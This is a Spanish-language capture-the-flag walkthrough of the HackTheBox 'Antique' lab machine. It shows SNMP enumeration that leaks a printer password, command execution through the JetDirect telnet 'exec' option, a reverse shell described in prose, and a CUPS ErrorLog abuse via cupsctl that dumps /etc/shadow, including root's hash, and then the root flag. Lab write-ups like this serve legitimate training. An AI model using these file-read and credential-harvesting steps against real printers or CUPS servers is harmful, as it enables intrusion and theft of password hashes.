¡Hola! Vamos a resolver de la máquina Antique
de dificultad “Fácil” de la plataforma HackTheBox.
Técnicas Vistas:
- SNMP Enumeration
- Network Printer Abuse
- CUPS Administration Exploitation (ErrorLog)
Preparación Entorno
Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Antique
. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt
crearemos cuatro directorios de trabajo nmap, content, exploits y scripts
donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.
1
2
3
function mkt(){
mkdir {nmap,content,exploits,scripts}
}
Reconocimiento
Accedemos al directorio de trabajo nmap
e iniciamos nuestra fase de reconocimiento realizando un ping
a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl
de una traza ICMP.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.11.107
PING 10.10.11.107 (10.10.11.107) 56(84) bytes of data.
64 bytes from 10.10.11.107: icmp_seq=1 ttl=63 time=38.3 ms
--- 10.10.11.107 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 38.334/38.334/38.334/0.000 ms
Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
1
2
3
4
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.107 -oG allPorts
PORT STATE SERVICE REASON
23/tcp open telnet syn-ack ttl 63
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.
1
2
3
4
5
6
7
8
9
10
nmap -sCV -p23 10.10.11.107 -oN targeted
PORT STATE SERVICE VERSION
23/tcp open telnet?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns, tn3270:
| JetDirect
| Password:
| NULL:
|_ JetDirect
Únicamente observamos el puerto 23 abierto que parece corresponder a una imprsora HP conectada en red. Ante la escasez de puertos por TCP procedemos a realizar un escaneo por UDP
1
2
3
4
nmap -sU --top-ports 100 --open -T5 -v -n 10.10.11.107 -oN udp
PORT STATE SERVICE
161/udp open snmp
Observamos puerto 161 abierto con el servicio snmp
. Utilizaremos la herramienta snmpwalk
para el reconocimiento de este puerto
Enumeración SNMP
Empezamos con la enumeración básica por SNMP
1
2
❯ snmpwalk -v 2c -c public 10.10.11.107
iso.3.6.1.2.1 = STRING: "HTB Printer"
Sabemos que snmpwalk tiene una estructura como de árbol en donde por defecto busca a partir del segundo nodo por decirlo de alguna forma
1
2
3
If no OID argument is present, snmpwalk will search the subtree rooted at SNMPv2-SMI::mib-2 (including any MIB object values from other MIB modules, that are defined as lying
within this subtree). If the network entity has an error processing the request packet, an error packet will be returned and a message will be shown, helping to pinpoint why
the request was malformed.
Indicándole un 1 al final del comando anterior nos arroja algo más de información
1
2
3
4
5
❯ snmpwalk -v 2c -c public 10.10.11.107 1
iso.3.6.1.2.1 = STRING: "HTB Printer"
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135
iso.3.6.1.4.1.11.2.3.9.1.2.1.0 = No more variables left in this MIB View (It is past the end of the MIB tree)
Observamos una cadena de datos que está aparentemente en Hexadecimal. Procedemos a descodificar la cadena obtenida con xxd
y obtenemos una credencial
1
2
3
❯ echo "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135" | xargs | xxd -ps -r
P@ssw0rd@123!!123q"2Rbs3CSs$4EuWGW(8i IYaA"1&1A5#
Probamos a ussar esta credencial conectándonos por telnet a la máquina víctima con la credencial obtenida
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ telnet 10.10.11.107
Trying 10.10.11.107...
Connected to 10.10.11.107.
Escape character is '^]'.
HP JetDirect
Password: P@ssw0rd@123!!123q"2Rbs3CSs$4EuWGW(8i
Please type "? for HELP
>?
To Change/Configure Parameters Enter:
Parameter-name: value <Carriage Return>
Parameter-name Type of value
ip: IP-address in dotted notation
subnet-mask: address in dotted notation (enter 0 for default)
default-gw: address in dotted notation (enter 0 for default)
syslog-svr: address in dotted notation (enter 0 for default)
idle-timeout: seconds in integers
set-cmnty-name: alpha-numeric string (32 chars max)
host-name: alpha-numeric string (upper case only, 32 chars max)
dhcp-config: 0 to disable, 1 to enable
allow: <ip> [mask] (0 to clear, list to display, 10 max)
addrawport: <TCP port num> (<TCP port num> 3000-9000)
deleterawport: <TCP port num>
listrawport: (No parameter required)
exec: execute system commands (exec id)
exit: quit from telnet session
Listando la ayuda de la sesión en telnet nos percatamos de la opción de poder ejecutar el comando exec
. Probamos ejecutando un par de comandos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
> exec id
uid=7(lp) gid=7(lp) groups=7(lp),19(lpadmin)
> exec ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.11.107 netmask 255.255.0.0 broadcast 10.129.255.255
inet6 fe80::250:56ff:fe96:387 prefixlen 64 scopeid 0x20<link>
inet6 dead:beef::250:56ff:fe96:387 prefixlen 64 scopeid 0x0<global>
ether 00:50:56:96:03:87 txqueuelen 1000 (Ethernet)
RX packets 136070 bytes 8691510 (8.6 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 132474 bytes 7181043 (7.1 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 22 bytes 1936 (1.9 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 22 bytes 1936 (1.9 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Nos ponemos en escucha en el puerto 443 y ejecutamos el comando en bash para entablarnos una reverse shell con la máquina víctima
Localizamos la flag de usuario en el mismo directorio donde hemos ganado acceso
1
2
lp@antique:~$ cat user.txt
0b7cbc14bdf1cea9f****************
Escalada Privilegios
Enumerando puerto internos abiertos encontramos el puerto 631 abierto
1
2
3
4
5
6
7
8
lp@antique:~$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN
tcp 0 2 10.10.11.107:34068 10.10.14.41:443 ESTABLISHED
tcp 0 0 10.10.11.107:23 10.10.14.41:60444 ESTABLISHED
tcp6 0 0 ::1:631 :::* LISTEN
Mediante la herramienta chisel
haremos un Remote Port Forwarding para poder examinar el contenido de este puerto en nuestro equipo
Ahora podemos abrir el contenido en nuestro equipo a través de localhost:631
tras una búsqueda en Google descubrimos que las versiones de CUPS anteriores a la 1.6.2 son vulnerables a lectura de archivos locales. Navegamos a Administración
y vemos que clickando en Ver archivo de registro de errores
muestra el contenido del archivo error.log
. Como CUPS funciona con root como predeterminado la lectura arbitraria de archivos puede ser acontecida actualiando el path ErrorLog
. Para ello usamos cupsctl
1
cupsctl ErrorLog="/etc/shadow"
Ahora mediante una petición curl a View Error Log nos revela el contenido de /etc/shadow
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
lp@antique:/tmp$ curl http://localhost:631/admin/log/error_log
root:$6$UgdyXjp3KC.86MSD$sMLE6Yo9Wwt636DSE2Jhd9M5hvWoy6btMs.oYtGQp7x4iDRlGCGJg8Ge9NO84P5lzjHN1WViD3jqX/VMw4LiR.:18760:0:99999:7:::
daemon:*:18375:0:99999:7:::
bin:*:18375:0:99999:7:::
sys:*:18375:0:99999:7:::
sync:*:18375:0:99999:7:::
games:*:18375:0:99999:7:::
man:*:18375:0:99999:7:::
lp:*:18375:0:99999:7:::
mail:*:18375:0:99999:7:::
news:*:18375:0:99999:7:::
uucp:*:18375:0:99999:7:::
proxy:*:18375:0:99999:7:::
www-data:*:18375:0:99999:7:::
backup:*:18375:0:99999:7:::
list:*:18375:0:99999:7:::
irc:*:18375:0:99999:7:::
gnats:*:18375:0:99999:7:::
nobody:*:18375:0:99999:7:::
systemd-network:*:18375:0:99999:7:::
systemd-resolve:*:18375:0:99999:7:::
systemd-timesync:*:18375:0:99999:7:::
messagebus:*:18375:0:99999:7:::
syslog:*:18375:0:99999:7:::
_apt:*:18375:0:99999:7:::
tss:*:18375:0:99999:7:::
uuidd:*:18375:0:99999:7:::
tcpdump:*:18375:0:99999:7:::
landscape:*:18375:0:99999:7:::
pollinate:*:18375:0:99999:7:::
systemd-coredump:!!:18389::::::
lxd:!:18389::::::
usbmux:*:18891:0:99999:7:::
De la misma forma podemos acceder a la flag de root de la máquina
1
2
3
4
cupsctl ErrorLog="/root/root.txt"
lp@antique:/tmp$ curl http://localhost:631/admin/log/error_log
e82e5d4f14cc6b491***************
Hemos completado la máquina Antique de HackTheBox!! Happy Hacking!!